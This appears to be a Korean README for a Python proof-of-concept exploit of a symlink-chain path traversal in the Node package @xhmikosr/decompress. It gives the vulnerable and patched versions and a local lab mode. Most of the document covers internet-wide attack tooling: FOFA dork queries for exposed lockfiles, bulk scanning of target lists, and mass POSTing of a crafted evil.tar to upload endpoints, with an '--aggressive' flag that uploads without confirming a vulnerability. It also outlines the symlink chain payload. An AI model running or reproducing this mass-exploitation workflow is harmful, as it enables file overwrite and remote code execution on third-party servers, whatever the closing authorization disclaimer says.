
CVE-2026-101894에 대한 Python PoC: @xhmikosr/decompress의 심볼릭 링크 체인 경로 순회. 로컬 Node 랩, lockfile 버전 스캔, 대량 evil.tar 업로드 익스플로잇을 포함합니다.
**CVE-2026-101894**에 대한 Python 3 PoC — @xhmikosr/decompress(및 유지보수되지 않는 decompress)의 Node.js 아카이브 추출 기능이 심링크 항목 체인을 통해 출력 디렉터리 외부로 읽기/쓰기를 허용합니다. CVE-2026-53486 하드닝 우회. CVSS 3.1 9.1 Critical.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catalog | https://pocbit.org/pocs/ |
| Package | @xhmikosr/decompress (유지보수됨), decompress (kevva, 패치되지 않음) |
| API | 기본 decompress(input, output) |
| CWE | CWE-22 경로 순회, CWE-59 링크 팔로우 |
| Fixed | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress는 tar/zip 등의 아카이브를 대상 폴더에 풀 때 lexical 경로 검사를 적용하지만, 연속된 심링크 항목을 통해 커널이 이후 항목을 출력 디렉터리 외부에서 해석할 수 있습니다. 공격자가 제어하는 아카이브로 config, startup script 또는 민감한 파일을 덮어쓰거나 읽을 수 있습니다 → RCE 시나리오 (CI, 컨테이너, upload+extract 서비스).
@xhmikosr/decompress 패치: 10.2.2 및 11.1.4. 구 decompress 패키지는 4.2.1까지 동일 클래스이며 패치가 제공되지 않습니다 — @xhmikosr/[email protected]+로 마이그레이션하세요.
| 모드 | 목적 |
|---|---|
--lab | lab/에 11.1.3을 설치하고, evil.tar 심링크 체인으로 외부 쓰기를 검증 |
--write-evil-tar | 페이로드 아카이브를 디스크에 기록 (POCBIT-101894-ESCAPED 마커) |
check | 원격 대상의 package.json / lockfile → 버전이 ≤ 위험인가? |
exploit | 심링크 체인 evil.tar로 일반적인 upload 경로에 POST (대량 일괄) |
| mass | --list + -j; hits.txt / exploited.txt |
원격 exploit은 서버가 실제로 아카이브를 decompress로 푸는지 증명하지 않습니다; 2xx upload 수락 + 취약 버전 fingerprint가 있으면 exploited로 간주합니다. 확실한 증거는 **--lab**입니다.
hits.txt vs exploited.txt (자주 발생하는 상황)| 단계 | 증명하는 것 |
|---|---|
| check → hits.txt | /package.json 또는 /package-lock.json이 공개되어 있고 그 안에 **취약한 decompress**가 있음 |
| exploit → exploited.txt | PoC가 시도한 일반 upload URL 중 최소 하나가 HTTP 2xx를 반환 |
FOFA Express 목록에서 500 scan → 2 hit는 정상입니다. 2 hit + 0 exploit (vulnerable_dep_no_upload_endpoint)도 정상입니다: 의존성 노출 ≠ 공개 아카이브 업로드. 이 CVE를 악용하려면 애플리케이션이 신뢰할 수 없는 아카이브를 decompress()로 풀어야 합니다; HID / 임의의 :8088 사이트에는 PoC의 8–11개 기본 경로가 대부분 존재하지 않습니다.
# 체인 증거 (로컬)
python poc.py --lab
# Hit들: 의존성 + upload 시도만
python poc.py --list hits.txt --mode exploit -j 2
# 예상: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| 패키지 | 취약 | 패치됨 |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | 없음 — 마이그레이션 |
cd CVE-2026-101894
pip install -r requirements.txt
Lab: PATH에 Node.js + npm (심링크 추출 동작을 위해 Linux/macOS 권장).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| 플래그 | 의미 |
|---|---|
--lab | 로컬 Node 추출 PoC |
--aggressive | 노출된 취약 lockfile이 없어도 exploit |
--upload-paths | 사용자 지정 쉼표 구분 POST 경로 |
--exploited-list | upload가 2xx를 반환한 대상 |
심링크 체인 (단순화):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt11.1.4 릴리스 노트에 설명된 심링크 체인 우회 클래스와 일치합니다 (realpath / containment 수정).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
Upload/zip FOFA dork 목록(fofa_results_1000)이 exploit 표면에 대해서는 Express-only 500 목록보다 더 적합합니다; 그래도 hit = lockfile + 취약 decompress, exploit = upload 2xx입니다.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Lockfile은 프로덕션에서 공개되는 경우가 드뭅니다; check는 종종 staging, CI 아티팩트, 잘못 구성된 정적 호스팅을 찾아냅니다.)
평가 권한이 있는 시스템만 테스트하세요. 제3자 프로덕션 서비스에 악성 아카이브를 업로드하지 마세요.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894